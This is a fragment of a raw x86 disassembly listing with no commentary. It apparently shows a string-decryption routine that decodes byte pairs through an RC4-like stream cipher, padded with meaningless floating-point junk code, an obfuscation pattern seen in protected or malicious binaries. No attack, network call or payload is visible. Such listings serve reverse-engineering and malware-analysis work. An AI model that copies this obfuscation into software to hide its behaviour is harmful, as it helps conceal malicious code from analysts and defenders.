shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3358], bl
jmp 0x42f072
movzx edx, byte [ebp - 0x3358]
movzx ebx, byte [ebp + edx - 0x59c4]
movsd xmm0, qword [ebp - 0x482c]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3358], bl
jmp 0x42f072
movzx eax, byte [ebp - 0x3358]
movzx ebx, byte [ebp + eax - 0x59c4]
movsd xmm0, qword [ebp - 0x482c]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3358], bl
jmp 0x42f072
movzx ecx, byte [ebp - 0x3358]
movzx edx, byte [ebp + ecx - 0x59c4]
mov eax, dword [ebp - 0x64cc]
add eax, dword [ebp - 0x44e8]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3358], dl
mov edx, dword [ebp - 0x44e8]
add edx, 1
mov dword [ebp - 0x44e8], edx
movzx eax, byte [ebp - 0x3ff1]
cmp dword [ebp - 0x44e8], eax
jb 0x42f0b0
mov dword [ebp - 0x44e8], 0
movzx ecx, byte [ebp - 0x3ff1]
movzx edx, byte [ebp - 0x3358]
add edx, ecx
mov byte [ebp - 0x3358], dl
movzx eax, byte [ebp - 0x3358]
and eax, dword [ebp - 0x48dc]
mov dword [ebp - 0x4288], eax
mov ecx, dword [ebp - 0x4b3c]
add ecx, 1
mov dword [ebp - 0x4b3c], ecx
cmp dword [ebp - 0x4b3c], 0xb
jbe 0x42f0ef
mov eax, dword [ebp - 0x4288]
xor edx, edx
div dword [ebp - 0x3794]
mov dword [ebp - 0x4288], edx
mov edx, dword [ebp - 0x4288]
cmp edx, dword [ebp - 0x3794]
ja 0x42ef6a
mov eax, dword [ebp - 0x3794]
cmp eax, dword [ebp - 0x4288]
je 0x42f194
mov ecx, dword [ebp - 0x4288]
movzx edx, byte [ebp + ecx - 0x59c4]
mov eax, dword [ebp - 0x3794]
movzx ecx, byte [ebp + eax - 0x59c4]
xor ecx, edx
mov edx, dword [ebp - 0x3794]
mov byte [ebp + edx - 0x59c4], cl
mov eax, dword [ebp - 0x3794]
movzx ecx, byte [ebp + eax - 0x59c4]
mov edx, dword [ebp - 0x4288]
movzx eax, byte [ebp + edx - 0x59c4]
xor eax, ecx
mov ecx, dword [ebp - 0x4288]
mov byte [ebp + ecx - 0x59c4], al
mov edx, dword [ebp - 0x4288]
movzx eax, byte [ebp + edx - 0x59c4]
mov ecx, dword [ebp - 0x3794]
movzx edx, byte [ebp + ecx - 0x59c4]
xor edx, eax
mov eax, dword [ebp - 0x3794]
mov byte [ebp + eax - 0x59c4], dl
jmp 0x42ef1a
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x59c4]
mov byte [ebp - 0x3272], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x59c4]
mov byte [ebp - 0x3283], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x59c4]
mov byte [ebp - 0x32db], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x59c4]
mov byte [ebp - 0x3284], dl
movss xmm0, dword [0xa722e0]
movss dword [ebp - 0x4094], xmm0
movss xmm0, dword [0xa72244]
movss dword [ebp - 0x4280], xmm0
movss xmm0, dword [0xa721a4]
movss dword [ebp - 0x4938], xmm0
movss xmm0, dword [0xa72110]
movss dword [ebp - 0x4284], xmm0
movss xmm0, dword [0xa72078]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [0xa71fc4]
movss dword [ebp - 0x3f28], xmm0
movss xmm0, dword [ebp - 0x4284]
addss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x4284], xmm0
movss xmm0, dword [ebp - 0x3bb8]
addss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [ebp - 0x4280]
mulss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x4280], xmm0
movss xmm0, dword [ebp - 0x3bb8]
subss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [ebp - 0x3bb8]
addss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [ebp - 0x4094]
subss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x4094], xmm0
movss xmm0, dword [ebp - 0x3f28]
comiss xmm0, dword [ebp - 0x4280]
jbe 0x42f387
movss xmm0, dword [ebp - 0x4284]
subss xmm0, dword [ebp - 0x3bb8]
movss dword [ebp - 0x4284], xmm0
movss xmm0, dword [ebp - 0x4094]
mulss xmm0, dword [ebp - 0x4280]
movss dword [ebp - 0x4094], xmm0
movss xmm0, dword [ebp - 0x4280]
divss xmm0, dword [ebp - 0x4938]
movss dword [ebp - 0x4280], xmm0
movss xmm0, dword [ebp - 0x3f28]
divss xmm0, dword [ebp - 0x4094]
movss dword [ebp - 0x3f28], xmm0
movss xmm0, dword [ebp - 0x3bb8]
subss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [ebp - 0x4938]
divss xmm0, dword [ebp - 0x4284]
movss dword [ebp - 0x4938], xmm0
jmp 0x42f42b
movss xmm0, dword [ebp - 0x3bb8]
subss xmm0, dword [ebp - 0x4094]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [ebp - 0x3bb8]
mulss xmm0, dword [ebp - 0x4094]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [ebp - 0x4284]
mulss xmm0, dword [ebp - 0x3f28]
movss dword [ebp - 0x4284], xmm0
movss xmm0, dword [ebp - 0x3bb8]
subss xmm0, dword [ebp - 0x4094]
movss dword [ebp - 0x3bb8], xmm0
movss xmm0, dword [ebp - 0x4094]
mulss xmm0, dword [ebp - 0x4938]
movss dword [ebp - 0x4094], xmm0
movss xmm0, dword [ebp - 0x4280]
mulss xmm0, dword [ebp - 0x4284]
movss dword [ebp - 0x4280], xmm0
movzx eax, byte [ebp - 0x3358]
mov cl, byte [ebp + eax - 0x59c4]
mov byte [ebp - 0x32aa], cl
mov dword [ebp - 0x5144], 0x4e
cmp dword [ebp - 0x5144], 2
jle 0x431300
mov edx, dword [ebp - 0x5144]
and edx, 1
jne 0x431300
mov dword [ebp - 0x337c], 0
mov dword [ebp - 0x3600], 0
mov eax, dword [ebp - 0x3600]
add eax, 1
mov dword [ebp - 0x3600], eax
mov dword [ebp - 0x39a8], 0
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x39a8], ecx
mov dword [ebp - 0x395c], 0
mov edx, dword [ebp - 0x39ac]
add edx, dword [ebp - 0x39a8]
movzx eax, byte [edx]
add eax, dword [ebp - 0x395c]
mov dword [ebp - 0x395c], eax
mov dword [ebp - 0x3960], 0
mov ecx, dword [ebp - 0x3960]
add ecx, 0x49
mov dword [ebp - 0x3960], ecx
mov dword [ebp - 0x39b0], 0
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x39b0], eax
mov dword [ebp - 0x3870], 0
mov ecx, dword [ebp - 0x39ac]
add ecx, dword [ebp - 0x39b0]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3870]
mov dword [ebp - 0x3870], edx
mov dword [ebp - 0x3874], 0
mov eax, dword [ebp - 0x3874]
add eax, 0x94
mov dword [ebp - 0x3874], eax
mov dword [ebp - 0x3878], 0
mov ecx, dword [ebp - 0x395c]
sub ecx, dword [ebp - 0x3960]
add ecx, dword [ebp - 0x3878]
mov dword [ebp - 0x3878], ecx
mov dword [ebp - 0x387c], 0
mov edx, dword [ebp - 0x3870]
sub edx, dword [ebp - 0x3874]
add edx, dword [ebp - 0x387c]
mov dword [ebp - 0x387c], edx
mov dword [ebp - 0x39b4], 0
mov eax, dword [ebp - 0x3878]
shl eax, 4
mov dword [ebp - 0x39b4], eax
mov dword [ebp - 0x39b8], 0
mov ecx, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], ecx
mov dword [ebp - 0x39bc], 0
mov edx, dword [ebp - 0x39b4]
or edx, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], edx
mov byte [ebp - 0x32de], 0
mov al, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], al
mov byte [ebp - 0x32dc], 0
movzx ecx, byte [ebp - 0x32aa]
mov dl, byte [ebp + ecx - 0x59c4]
mov byte [ebp - 0x32dc], dl
movzx eax, byte [ebp - 0x3272]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx edx, byte [ebp - 0x3283]
add edx, ecx
mov byte [ebp - 0x3283], dl
mov al, byte [ebp - 0x3272]
add al, 1
mov byte [ebp - 0x3272], al
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp - 0x32aa]
mov al, byte [ebp + ecx - 0x59c4]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x3284]
movzx edx, byte [ebp - 0x3283]
mov al, byte [ebp + ecx - 0x59c4]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x3272]
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + ecx - 0x59c4]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x3272]
mov dl, byte [ebp - 0x32dc]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x32dc]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx edx, byte [ebp - 0x32db]
add edx, ecx
mov byte [ebp - 0x32db], dl
movzx eax, byte [ebp - 0x32de]
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx ecx, byte [ebp - 0x3272]
movzx ecx, byte [ebp + ecx - 0x59c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3284]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx ecx, byte [ebp - 0x32aa]
movzx ecx, byte [ebp + ecx - 0x59c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32db]
movzx ecx, byte [ebp + ecx - 0x59c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp + edx - 0x59c4]
xor eax, ecx
mov byte [ebp - 0x3284], al
mov dl, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], dl
mov al, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], al
cmp dword [ebp - 0x337c], 0
jle 0x42f750
movsx cx, byte [ebp - 0x332b]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0x202], cx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x3600]
add ecx, 1
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x39a8], edx
mov eax, dword [ebp - 0x39ac]
add eax, dword [ebp - 0x39a8]
movzx ecx, byte [eax]
mov dword [ebp - 0x395c], ecx
mov dword [ebp - 0x3960], 0x49
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x39b0], eax
mov ecx, dword [ebp - 0x39ac]
add ecx, dword [ebp - 0x39b0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3870], edx
mov dword [ebp - 0x3874], 0x94
mov eax, dword [ebp - 0x395c]
sub eax, dword [ebp - 0x3960]
mov dword [ebp - 0x3878], eax
mov ecx, dword [ebp - 0x3870]
sub ecx, dword [ebp - 0x3874]
mov dword [ebp - 0x387c], ecx
mov edx, dword [ebp - 0x3878]
shl edx, 4
mov dword [ebp - 0x39b4], edx
mov eax, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], eax
mov ecx, dword [ebp - 0x39b4]
or ecx, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], ecx
mov dl, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], dl
movzx eax, byte [ebp - 0x32aa]
mov cl, byte [ebp + eax - 0x59c4]
mov byte [ebp - 0x32dc], cl
movzx edx, byte [ebp - 0x3272]
movzx eax, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp - 0x3283]
add ecx, eax
mov byte [ebp - 0x3283], cl
mov dl, byte [ebp - 0x3272]
add dl, 1
mov byte [ebp - 0x3272], dl
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp - 0x32aa]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3284]
movzx ecx, byte [ebp - 0x3283]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3272]
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3272]
mov cl, byte [ebp - 0x32dc]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x32dc]
movzx eax, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp - 0x32db]
add ecx, eax
mov byte [ebp - 0x32db], cl
movzx edx, byte [ebp - 0x32de]
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx eax, byte [ebp - 0x3272]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59c4]
xor edx, ecx
movzx eax, byte [ebp - 0x3284]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx eax, byte [ebp - 0x32aa]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
movzx eax, byte [ebp - 0x32db]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp + ecx - 0x59c4]
xor edx, eax
mov byte [ebp - 0x3284], dl
mov cl, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], cl
mov dl, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], dl
cmp dword [ebp - 0x337c], 0
jle 0x42f9ab
movsx ax, byte [ebp - 0x332b]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0x202], ax
mov edx, dword [ebp - 0x3600]
add edx, 0x10
mov dword [ebp - 0x3600], edx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x4b40], eax
jmp 0x42f9da
mov ecx, dword [ebp - 0x4b40]
add ecx, 1
mov dword [ebp - 0x4b40], ecx
mov edx, dword [ebp - 0x4b40]
cmp edx, dword [ebp - 0x3600]
jge 0x430107
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x39a8], ecx
mov edx, dword [ebp - 0x39ac]
add edx, dword [ebp - 0x39a8]
movzx eax, byte [edx]
mov dword [ebp - 0x395c], eax
mov dword [ebp - 0x3960], 0x49
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x39b0], edx
mov eax, dword [ebp - 0x39ac]
add eax, dword [ebp - 0x39b0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3870], ecx
mov dword [ebp - 0x3874], 0x94
mov edx, dword [ebp - 0x395c]
sub edx, dword [ebp - 0x3960]
mov dword [ebp - 0x3878], edx
mov eax, dword [ebp - 0x3870]
sub eax, dword [ebp - 0x3874]
mov dword [ebp - 0x387c], eax
mov ecx, dword [ebp - 0x3878]
shl ecx, 4
mov dword [ebp - 0x39b4], ecx
mov edx, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], edx
mov eax, dword [ebp - 0x39b4]
or eax, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], eax
movss xmm0, dword [0xa7229c]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [0xa721f0]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [0xa72140]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [0xa72098]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [0xa71fd4]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x35ac]
subss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x35ac]
addss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x35a8]
addss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x3488]
addss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3428]
comiss xmm0, dword [ebp - 0x33f4]
jbe 0x42fc0e
movss xmm0, dword [ebp - 0x33f4]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x3428]
addss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3488]
subss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3428]
subss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x33f4]
subss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x33f4], xmm0
mov cl, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], cl
jmp 0x42ff80
movss xmm0, dword [ebp - 0x33f4]
mulss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x3488]
subss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x35a8]
addss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x3428]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3488]
subss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x35a8]
addss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x35ac]
addss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x33f4]
addss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x3488]
subss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3428]
comiss xmm0, dword [ebp - 0x33f4]
jbe 0x42ff08
movss xmm0, dword [ebp - 0x35a8]
mulss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x3428]
subss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x33f4]
addss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x3488]
mulss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3488]
divss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x33f4]
mulss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x35ac]
subss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x3488]
divss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3488]
addss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x35a8]
comiss xmm0, dword [ebp - 0x3488]
jbe 0x42fe8e
movss xmm0, dword [ebp - 0x33f4]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x35ac]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x33f4]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x35a8]
addss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x35a8]
addss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a8], xmm0
jmp 0x42ff06
movss xmm0, dword [ebp - 0x3428]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3488]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3488]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3428], xmm0
jmp 0x42ff80
movss xmm0, dword [ebp - 0x33f4]
mulss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x33f4], xmm0
movss xmm0, dword [ebp - 0x3428]
divss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x35a8]
subss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x33f4]
movss dword [ebp - 0x3428], xmm0
movzx edx, byte [ebp - 0x32aa]
mov al, byte [ebp + edx - 0x59c4]
mov byte [ebp - 0x32dc], al
movzx ecx, byte [ebp - 0x3272]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp - 0x3283]
add eax, edx
mov byte [ebp - 0x3283], al
mov cl, byte [ebp - 0x3272]
add cl, 1
mov byte [ebp - 0x3272], cl
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp - 0x32aa]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3284]
movzx eax, byte [ebp - 0x3283]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3272]
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3272]
mov al, byte [ebp - 0x32dc]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x32dc]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp - 0x32db]
add eax, edx
mov byte [ebp - 0x32db], al
movzx ecx, byte [ebp - 0x32de]
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp + edx - 0x59c4]
movzx edx, byte [ebp - 0x3272]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59c4]
xor ecx, eax
movzx edx, byte [ebp - 0x3284]
movzx eax, byte [ebp + edx - 0x59c4]
movzx edx, byte [ebp - 0x32aa]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
movzx edx, byte [ebp - 0x32db]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59c4]
movzx edx, byte [ebp + eax - 0x59c4]
xor ecx, edx
mov byte [ebp - 0x3284], cl
mov al, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], al
mov cl, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], cl
cmp dword [ebp - 0x337c], 0
jle 0x430102
movsx dx, byte [ebp - 0x332b]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0x202], dx
jmp 0x42f9cb
mov ecx, dword [ebp - 0x3600]
add ecx, 1
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x337c], edx
mov eax, dword [ebp - 0x3600]
add eax, 1
mov dword [ebp - 0x3600], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x39a8], ecx
mov edx, dword [ebp - 0x39ac]
add edx, dword [ebp - 0x39a8]
movzx eax, byte [edx]
mov dword [ebp - 0x395c], eax
mov dword [ebp - 0x3960], 0x49
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x39b0], edx
mov eax, dword [ebp - 0x39ac]
add eax, dword [ebp - 0x39b0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3870], ecx
mov dword [ebp - 0x3874], 0x94
mov edx, dword [ebp - 0x395c]
sub edx, dword [ebp - 0x3960]
mov dword [ebp - 0x3878], edx
mov eax, dword [ebp - 0x3870]
sub eax, dword [ebp - 0x3874]
mov dword [ebp - 0x387c], eax
mov ecx, dword [ebp - 0x3878]
shl ecx, 4
mov dword [ebp - 0x39b4], ecx
mov edx, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], edx
mov eax, dword [ebp - 0x39b4]
or eax, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], eax
mov cl, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], cl
movzx edx, byte [ebp - 0x32aa]
mov al, byte [ebp + edx - 0x59c4]
mov byte [ebp - 0x32dc], al
movzx ecx, byte [ebp - 0x3272]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp - 0x3283]
add eax, edx
mov byte [ebp - 0x3283], al
mov cl, byte [ebp - 0x3272]
add cl, 1
mov byte [ebp - 0x3272], cl
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp - 0x32aa]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3284]
movzx eax, byte [ebp - 0x3283]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3272]
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3272]
mov al, byte [ebp - 0x32dc]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x32dc]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp - 0x32db]
add eax, edx
mov byte [ebp - 0x32db], al
movzx ecx, byte [ebp - 0x32de]
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp + edx - 0x59c4]
movzx edx, byte [ebp - 0x3272]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59c4]
xor ecx, eax
movzx edx, byte [ebp - 0x3284]
movzx eax, byte [ebp + edx - 0x59c4]
movzx edx, byte [ebp - 0x32aa]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
movzx edx, byte [ebp - 0x32db]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59c4]
movzx edx, byte [ebp + eax - 0x59c4]
xor ecx, edx
mov byte [ebp - 0x3284], cl
mov al, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], al
mov cl, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], cl
cmp dword [ebp - 0x337c], 0
jle 0x43036f
movsx dx, byte [ebp - 0x332b]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0x202], dx
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x3600]
add edx, 1
mov dword [ebp - 0x3600], edx
mov eax, dword [ebp - 0x337c]
shl eax, 1
mov dword [ebp - 0x39a8], eax
mov ecx, dword [ebp - 0x39ac]
add ecx, dword [ebp - 0x39a8]
movzx edx, byte [ecx]
mov dword [ebp - 0x395c], edx
mov dword [ebp - 0x3960], 0x49
mov eax, dword [ebp - 0x337c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x39b0], ecx
mov edx, dword [ebp - 0x39ac]
add edx, dword [ebp - 0x39b0]
movzx eax, byte [edx]
mov dword [ebp - 0x3870], eax
mov dword [ebp - 0x3874], 0x94
mov ecx, dword [ebp - 0x395c]
sub ecx, dword [ebp - 0x3960]
mov dword [ebp - 0x3878], ecx
mov edx, dword [ebp - 0x3870]
sub edx, dword [ebp - 0x3874]
mov dword [ebp - 0x387c], edx
mov eax, dword [ebp - 0x3878]
shl eax, 4
mov dword [ebp - 0x39b4], eax
mov ecx, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], ecx
mov edx, dword [ebp - 0x39b4]
